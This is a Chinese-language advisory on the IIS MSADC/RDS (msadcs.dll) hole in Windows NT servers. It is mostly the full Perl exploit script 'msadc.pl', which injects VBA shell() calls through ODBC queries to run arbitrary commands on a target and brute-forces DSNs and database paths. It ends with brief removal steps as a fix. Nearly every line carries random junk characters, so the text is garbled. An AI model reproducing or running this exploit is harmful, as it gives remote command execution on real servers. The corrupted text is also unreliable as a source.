IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
pf yJL?_% Ib /e\+H\ 涉及程序：
8yZs>Og? Microsoft NT server
~ `{{Z& k#V\O2lb 描述：
<{Rz1CMc 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
'XYjo& w Eh9{n,5- 详细：
{irl}EeyC 如果你没有时间读详细内容的话，就删除:
+j8-l-o c:\Program Files\Common Files\System\Msadc\msadcs.dll
c,G[R k 有关的安全问题就没有了。
Yfz`or\@= ] J|#WtS 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
5GJa+St? '8 @4FXK 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
4a.8n!sys 关于利用ODBC远程漏洞的描述，请参看:
J /Ch
/Sa wo86C[ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm DsHm,dZ uCWBM 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
/|v
b)J http://www.microsoft.com/security/bulletins/MS99-025faq.asp @'J[T: e m^tf=O< 这里不再论述。
ZNDjk ,C'mE''x 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
mMK 93Ng"& 1n>AN.nI /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
B6!ni@$M8X 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
2aUE<@RU[ OZ<fQf.Gh} a3 t||@v! #将下面这段保存为txt文件，然后: "perl -x 文件名"
D*wY,\ oPF
n`8dQ #!perl
axkNy}ct #
' |yBz1uL # MSADC/RDS 'usage' (aka exploit) script
' H1k #
0A75)T=l Q # by rain.forest.puppy
=cx_3gCr{ #
-nnA e
F # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
|7b@w;q,D # beta test and find errors!
r\ m2Oo)] *m`F-J6U use Socket; use Getopt::Std;
.'S_9le getopts("e:vd:h:XR", \%args);
zq]:.s d
2z!i^: print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
g HKA:j`c 5h p)Z7 if (!defined $args{h} && !defined $args{R}) {
IUQYoKz4}A print qq~
1 K[y)q Usage: msadc.pl -h <host> { -d <delay> -X -v }
X/23 /_~L` -h <host> = host you want to scan (ip or domain)
W+aW2 -d <seconds> = delay between calls, default 1 second
n;~6'f xe -X = dump Index Server path table, if available
6 ?= ^8 -v = verbose
i L3k8: x -e = external dictionary file for step 5
w K Je^7 VBe&of+ Or a -R will resume a command session
9D51@b6k 8< Ex` ~; exit;}
BDPF>lPf< h($Jo $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
_sIr'sR~ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
%QX"oRMn0 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
&F|Wk,y if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
Px?0)^"2 $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
RzqU`<// if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
[};?;Y N >~@ABLp 6 if (!defined $args{R}){ $ret = &has_msadc;
8PvO _Gz5 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
~}s0~j ~ TXfG@4~kC print "Please type the NT commandline you want to run (cmd /c assumed):\n"
s7:w >,v/ . "cmd /c ";
-A1:S'aN- $in=<STDIN>; chomp $in;
"S3U]zw0_ $command="cmd /c " . $in ;
wbh^ZMQ ^tl&FWF if (defined $args{R}) {&load; exit;}
M[KYt"v c/`Rv{ *'o print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
RJLhR_t7n &try_btcustmr;
#L xfE<^ V -z F'KI[ print "\nStep 2: Trying to make our own DSN...";
;Yn_*M/* &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
2Q[q)u WvWZzlw print "\nStep 3: Trying known DSNs...";
-|_io,eL; &known_dsn;
|p":s3K"Hy u 9%AK g}~ print "\nStep 4: Trying known .mdbs...";
^uIKwql
&known_mdb;
3vF-SgCV zjwo"6c> if (defined $args{e}){
1xMD
)V: print "\nStep 5: Trying dictionary of DSN names...";
o ) Nm5g &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
[300F=R Z n]e2 print "Sorry Charley...maybe next time?\n";
]5\vYk exit;
'yNp J' ep! .kA=\ ##############################################################################
J\*d4I<(Rt tFQFpbI sub sendraw { # ripped and modded from whisker
]VME`]t` sleep($delay); # it's a DoS on the server! At least on mine...
34=0.{qn my ($pstr)=@_;
5-*]PAC socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
I}WJ0}R die("Socket problems\n");
#o RUH8 if(connect(S,pack "SnA4x8",2,80,$target)){
ZS+2.)A select(S); $|=1;
V(" 1\ print $pstr; my @in=<S>;
TG9)x|! select(STDOUT); close(S);
]@>| y2 return @in;
SD&[K
8-i2 } else { die("Can't connect...\n"); }}
S(6ZX>wv: z#4g,)ZX ##############################################################################
>g&`g}xZQ L DsYr] sub make_header { # make the HTTP request
^XM;D/Gp~ my $msadc=<<EOT
^n/uY94E)p POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
N z;;X\GI User-Agent: ACTIVEDATA
DtZm|~)a Host: $ip
Q\76jD`m\ Content-Length: $clen
v,&2 !Zv Connection: Keep-Alive
Z-@}~#E 5[_8N{QC; ADCClientVersion:01.06
(4LLTf0 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
+$t% L S2)S/ nf --!ADM!ROX!YOUR!WORLD!
jG n^<T\ Content-Type: application/x-varg
u $#7W>R Content-Length: $reqlen
:!$z1u8R {P&^E rx EOT
O 0#Jl8 ; $msadc=~s/\n/\r\n/g;
l'QR2r7&. return $msadc;}
~ \ f^L?m h86={@Le ##############################################################################
L])w- Ef.4.iDJrR sub make_req { # make the RDS request
E 6: p my ($switch, $p1, $p2)=@_;
1 1CJT my $req=""; my $t1, $t2, $query, $dsn;
Oq6n.:8g" ;L2bC3 if ($switch==1){ # this is the btcustmr.mdb query
I?>T"nV +' $query="Select * from Customers where City=" . make_shell();
?LI9F7n $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
de9l;zF $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
31& .Lnq I })t elsif ($switch==2){ # this is general make table query
yipD5,T C $query="create table AZZ (B int, C varchar(10))";
P* `xiTA $dsn="$p1";}
OL5 HofgNm 'hO;sL elsif ($switch==3){ # this is general exploit table query
|+- i'N 9 $query="select * from AZZ where C=" . make_shell();
tr8Cx~< $dsn="$p1";}
<C ;> $kX f<Tz#w&6W elsif ($switch==4){ # attempt to hork file info from index server
dM {~Ubb $query="select path from scope()";
$3 [\:+ $dsn="Provider=MSIDXS;";}
A( OfG&! ^G&D4uZ elsif ($switch==5){ # bad query
/;6@M=6u $query="select";
siYRRr $dsn="$p1";}
E5G"QnxR>N n ~u3 $t1= make_unicode($query);
m\M+pjz $t2= make_unicode($dsn);
2, V+?'^j $req = "\x02\x00\x03\x00";
+\GZ(!~ $req.= "\x08\x00" . pack ("S1", length($t1));
,, %:vK+V $req.= "\x00\x00" . $t1 ;
2 BX GVo $req.= "\x08\x00" . pack ("S1", length($t2));
c[_^bs>k $req.= "\x00\x00" . $t2 ;
`(/saq* $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
> '
0 ][~ return $req;}
r/hyW6e_ #0hNk%X= ##############################################################################
5}bZs ` C s%[GQQ-N sub make_shell { # this makes the shell() statement
~X< cG=p~u return "'|shell(\"$command\")|'";}
\UqS -j| tQ/
#t<4D ##############################################################################
RB7AI !'a? dIpW!Pj^ sub make_unicode { # quick little function to convert to unicode
kgapTv>q my ($in)=@_; my $out;
5%?b5(mnD for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
_b_?9b-)D return $out;}
M'zS7=F!: MiH}VfI ##############################################################################
{&=qM!2e *UBP]w sub rdo_success { # checks for RDO return success (this is kludge)
;=+Zw1/g my (@in) = @_; my $base=content_start(@in);
T<+ ht8&M8 if($in[$base]=~/multipart\/mixed/){
gZ l w return 1 if( $in[$base+10]=~/^\x09\x00/ );}
KU|BT .o8 return 0;}
] @)!:<+ 4s~HfxYT ##############################################################################
!3I(4?G, /8>0; bX+ sub make_dsn { # this makes a DSN for us
o4 %Vt} K my @drives=("c","d","e","f");
YYE8/\+B. print "\nMaking DSN: ";
Cb{A:\>Q{ foreach $drive (@drives) {
+an^e' print "$drive: ";
QGr\I/Y my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
xd|~+4 "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
z_Wm
HB . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
YWRE&MQ_ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
Seq ]NkgY return 0 if $2 eq "404"; # not found/doesn't exist
nx-1* if($2 eq "200") {
yS)- &t!; foreach $line (@results) {
BjyXQ9D return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
d]CviQUq } return 0;}
n</k/Mk} L$lo~7<] ##############################################################################
>v1 y 0zx GG_^K#* sub verify_exists {
F)/~p&H my ($page)=@_;
D d0Qp-:2 my @results=sendraw("GET $page HTTP/1.0\n\n");
QJ#u[hsMFp return $results[0];}
[A"H/Qztk ,@Fgr(?'`> ##############################################################################
\5'O.*pr /&]-I$G@ sub try_btcustmr {
r(:
8!=~K my @drives=("c","d","e","f");
=[P%_v`` my @dirs=("winnt","winnt35","winnt351","win","windows");
jby~AJf % ]*2EK 9< foreach $dir (@dirs) {
vuR5}/Ev print "$dir -> "; # fun status so you can see progress
TBZ-1 7+ foreach $drive (@drives) {
Fn86E dFM print "$drive: "; # ditto
Dac ^*k=D $reqlen=length( make_req(1,$drive,$dir) ) - 28;
j:3EpD@GS $reqlenlen=length( "$reqlen" );
3P//H8 8LY $clen= 206 + $reqlenlen + $reqlen;
0)d?Y sDLS*467 my @results=sendraw(make_header() . make_req(1,$drive,$dir));
':l"mkd+` if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
7qP4B9S
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
Fn:.Y8%- rDVgk6 ##############################################################################
, b <9?PM
[_WI8~g Y sub odbc_error {
;>9Og O my (@in)=@_; my $base;
<S]KaDu^ my $base = content_start(@in);
NW{y% Z if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
@Q;i. u{V $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
yp=|7 $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
hPa n $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
=op`fn% return $in[$base+4].$in[$base+5].$in[$base+6];}
[ njx7d print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
m!<X8d[bD print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
sFLcOPj -% $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
jip\4{'N r4E `'o[ ##############################################################################
[%)@|^hw91 Q0pzW:=s] sub verbose {
RCI4~q my ($in)=@_;
$+V mwd; return if !$verbose;
/xcJo g~F, print STDOUT "\n$in\n";}
"YJ[$TG DU;[bt K> ##############################################################################
h$70H ^r ]nUR;8 sub save {
)ZGYh E my ($p1, $p2, $p3, $p4)=@_;
2B-.}OJ open(OUT, ">rds.save") || print "Problem saving parameters...\n";
[ |4}~U V
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
%`#G92Z_ close OUT;}
^IBGYl 5n YG4WS | ##############################################################################
X~lZ OVmS z!$gVWG sub load {
;)?( 2
wP my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
XYe~G@Q Z open(IN,"<rds.save") || die("Couldn't open rds.save\n");
AYcgi @p=<IN>; close(IN);
KbAR_T1n $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
pTWg
m\h $target= inet_aton($ip) || die("inet_aton problems");
1Hh X /fpq print "Resuming to $ip ...";
5SUN. %y $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
|QVr `tE< if($p[1]==1) {
' WQdr( $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
g<$. - g $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
bDDqaO , 8 my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
&|b4\uj9 if (rdo_success(@results)){print "Success!\n";}
ic E|.[ else { print "failed\n"; verbose(odbc_error(@results));}}
Yt+h2ft! elsif ($p[1]==3){
`?| Rc if(run_query("$p[3]")){
} B0sC%cm print "Success!\n";} else { print "failed\n"; }}
d ;^ elsif ($p[1]==4){
XA)'=L!^ if(run_query($drvst . "$p[3]")){
.k@^KY print "Success!\n"; } else { print "failed\n"; }}
2ev*CX6. exit;}
#{ $1z;i?f &v kjmiAS ##############################################################################
([R")~`(l2 U]hF
sub create_table {
#op:/ j my ($in)=@_;
M+poB+K. $reqlen=length( make_req(2,$in,"") ) - 28;
q8>t!rh<R $reqlenlen=length( "$reqlen" );
fW (/Loh $clen= 206 + $reqlenlen + $reqlen;
"_< 9PM1t my @results=sendraw(make_header() . make_req(2,$in,""));
bb;(gK;F return 1 if rdo_success(@results);
i%;"[M my $temp= odbc_error(@results); verbose($temp);
j13DJ.xu return 1 if $temp=~/Table 'AZZ' already exists/;
>{5
p0 return 0;}
|0sPka/u16 {6*#3m
Kk ##############################################################################
l%~l z[ 83 I-X95 sub known_dsn {
M:|8]y@ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
"R[l ZJ@ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
?Ik4 "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
2&he($HIzg "banner", "banners", "ads", "ADCDemo", "ADCTest");
Wd8R u/ <*(^{a. O foreach $dSn (@dsns) {
n2f6 p<8A print ".";
h2~4G)J next if (!is_access("DSN=$dSn"));
\X|sU:g if(create_table("DSN=$dSn")){
]Gv!M?: print "$dSn successful\n";
F~HRME; Z if(run_query("DSN=$dSn")){
]$A(9Pn" print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
(R*j|HAw`X print "Something's borked. Use verbose next time\n";}}} print "\n";}
''H" ^oS $f$|6jM ##############################################################################
6N~q`;p0 S6x giem sub is_access {
KxzYfH my ($in)=@_;
=*Z5!W'd $reqlen=length( make_req(5,$in,"") ) - 28;
D `yEwpV^ $reqlenlen=length( "$reqlen" );
Y32 "N[yw $clen= 206 + $reqlenlen + $reqlen;
W!T"m)S my @results=sendraw(make_header() . make_req(5,$in,""));
lg$zGa? my $temp= odbc_error(@results);
J00VTb` verbose($temp); return 1 if ($temp=~/Microsoft Access/);
i-"
p)2d=# return 0;}
][&9]omB ;dR=tAf0$Q ##############################################################################
@-&MA)SN Yg9joNB h sub run_query {
n.}E5 %qK my ($in)=@_;
c{3wk7 $reqlen=length( make_req(3,$in,"") ) - 28;
)e |=mtp $reqlenlen=length( "$reqlen" );
ntVS:F $clen= 206 + $reqlenlen + $reqlen;
r^Zg-|gr my @results=sendraw(make_header() . make_req(3,$in,""));
!C4!LZ0A return 1 if rdo_success(@results);
) 2I H
5 my $temp= odbc_error(@results); verbose($temp);
m908jI_So return 0;}
AlXNg!j;5K g%[c<l 9 ##############################################################################
LJ)5W 9iU r nG* sub known_mdb {
4JGtI*%5lq my @drives=("c","d","e","f","g");
(Qo I<j"" my @dirs=("winnt","winnt35","winnt351","win","windows");
<r#eL39I my $dir, $drive, $mdb;
*z*uEcitW my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
).^}AFta anMF-x4/*q # this is sparse, because I don't know of many
Zwz& rIQpT my @sysmdbs=( "\\catroot\\icatalog.mdb",
L|P5=/d "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
/1mW|O>0 "\\system32\\certmdb.mdb",
}G4 z tiuG "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
}XO K,Hw #P
l ~R my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
J_ x13EaV0 "\\cfusion\\cfapps\\forums\\forums_.mdb",
Y2o?gug "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
tg] x0#@s "\\cfusion\\cfapps\\security\\realm_.mdb",
mGp.3 {j "\\cfusion\\cfapps\\security\\data\\realm.mdb",
?HF%(>M "\\cfusion\\database\\cfexamples.mdb",
ho##Z*O "\\cfusion\\database\\cfsnippets.mdb",
8V^oP] Y "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
)Oi T{ -m "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
C{gyj}5 "\\cfusion\\brighttiger\\database\\cleam.mdb",
5?hw ! "\\cfusion\\database\\smpolicy.mdb",
N(I& "\\cfusion\\database\cypress.mdb",
; ;L[e]Z "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
Ag{i q (X "\\website\\cgi-win\\dbsample.mdb",
.pvi!NnL- "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
K+;e4 _\ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
/ "eey(X ); #these are just
u%w`:v7Yo( foreach $drive (@drives) {
v?KC% foreach $dir (@dirs){
#Q2Y&2`yGT foreach $mdb (@sysmdbs) {
e,t(q(L print ".";
emCM\|NQg& if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
:x tXQza"- print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
0NS<?p~_S if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
N[s}qmPha print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
9 FB19 } else { print "Something's borked. Use verbose next time\n"; }}}}}
o4|M0 DRcNdO/1E foreach $drive (@drives) {
KXx32 b,~ foreach $mdb (@mdbs) {
bD/~eIcWL print ".";
z^'gx@YD*v if(create_table($drv . $drive . $dir . $mdb)){
V5UF3'3;} print "\n" . $drive . $dir . $mdb . " successful\n";
a(l29> if(run_query($drv . $drive . $dir . $mdb)){
d3D] k, print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
7Zlw^'q$:L } else { print "Something's borked. Use verbose next time\n"; }}}}
Wk)OkIFR }
#"@|f tfj:@Z5&$C ##############################################################################
7pe\M/kl <
jJ sub hork_idx {
Xu%'Z".>: print "\nAttempting to dump Index Server tables...\n";
'<"s \, print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
02 c ':a=7 $reqlen=length( make_req(4,"","") ) - 28;
H{Wu]C<@p $reqlenlen=length( "$reqlen" );
s.$3j$vT 8 $clen= 206 + $reqlenlen + $reqlen;
?l9XAW t\ my @results=sendraw2(make_header() . make_req(4,"",""));
hb}+A=A=+ if (rdo_success(@results)){
\W~ N my $max=@results; my $c; my %d;
Ff)8Q.m for($c=19; $c<$max; $c++){
4y|BOVl $results[$c]=~s/\x00//g;
45@^L's $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
x(1:s|Uyp{ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
o~`/_ + $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
A^USBv+9` $d{"$1$2"}="";}
]'&LGA` foreach $c (keys %d){ print "$c\n"; }
k>;`FFQU> } else {print "Index server doesn't seem to be installed.\n"; }}
Ayxkv)%:@) b,7k)ND1F ##############################################################################
UtoT vS;RJg= sub dsn_dict {
NPy&O cRl open(IN, "<$args{e}") || die("Can't open external dictionary\n");
9jM}~ XvV while(<IN>){
-t!~%_WCv $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
wW>A_{Y next if (!is_access("DSN=$dSn"));
ua3~iQj- if(create_table("DSN=$dSn")){
LBYMCY print "$dSn successful\n";
(C\]-E> if(run_query("DSN=$dSn")){
^aItoJq print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
D4eDHq print "Something's borked. Use verbose next time\n";}}}
75T%g!c# print "\n"; close(IN);}
6 m }Ev95 L/$H"YO v ##############################################################################
0CnOL!3.I Ni9/}bb sub sendraw2 { # ripped and modded from whisker
\ 2M_\Q`NY sleep($delay); # it's a DoS on the server! At least on mine...
R@1 xt@? my ($pstr)=@_;
R0KPZv- socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
<sb~ ^B die("Socket problems\n");
=W(Q34 if(connect(S,pack "SnA4x8",2,80,$target)){
kMIcK4.MH print "Connected. Getting data";
]E5o 1eeg open(OUT,">raw.out"); my @in;
BX`{73sw select(S); $|=1; print $pstr;
9}rS(/@
} while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
?+))}J5N\ close(OUT); select(STDOUT); close(S); return @in;
KI"#f$2& } else { die("Can't connect...\n"); }}
[_BP)e 3#LlDC_WC ##############################################################################
/CrSu KjD/o?JUr sub content_start { # this will take in the server headers
? >7[7( | my (@in)=@_; my $c;
; 5*&x z for ($c=1;$c<500;$c++) {
.73X3`P25 if($in[$c] =~/^\x0d\x0a/){
^um<bWNc if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
zYH&i6nj else { return $c+1; }}}
?qb}?&1 return -1;} # it should never get here actually
ju8> :y8 9)l$ aBa ##############################################################################
'p^t^=dQ [:7'?$ sub funky {
A kq2 d; my (@in)=@_; my $error=odbc_error(@in);
/!0={G if($error=~/ADO could not find the specified provider/){
{ a =#B)6 print "\nServer returned an ADO miscofiguration message\nAborting.\n";
pIc#L>{E exit;}
p?02C# p if($error=~/A Handler is required/){
= }~hWL print "\nServer has custom handler filters (they most likely are patched)\n";
pE`})/?\* exit;}
y\/1/WjBn if($error=~/specified Handler has denied Access/){
?e%ZOI print "\nServer has custom handler filters (they most likely are patched)\n";
v&6-a* <Z exit;}}
})'B<vq Pd8![Z3 ##############################################################################
4j-Xi 9=s<Ld sub has_msadc {
&5>Kl}7 my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
QFA 8 N my $base=content_start(@results);
&eJfGt5 return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
@="Pn5<]C return 0;}
^vZ SUfS ;x y"\S] ########################
A@`}c,G ."g`3tVK aHD]k8 m z 解决方案：
<3n Mx^ 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
[DuttFX^x 2、移除web 目录: /msadc
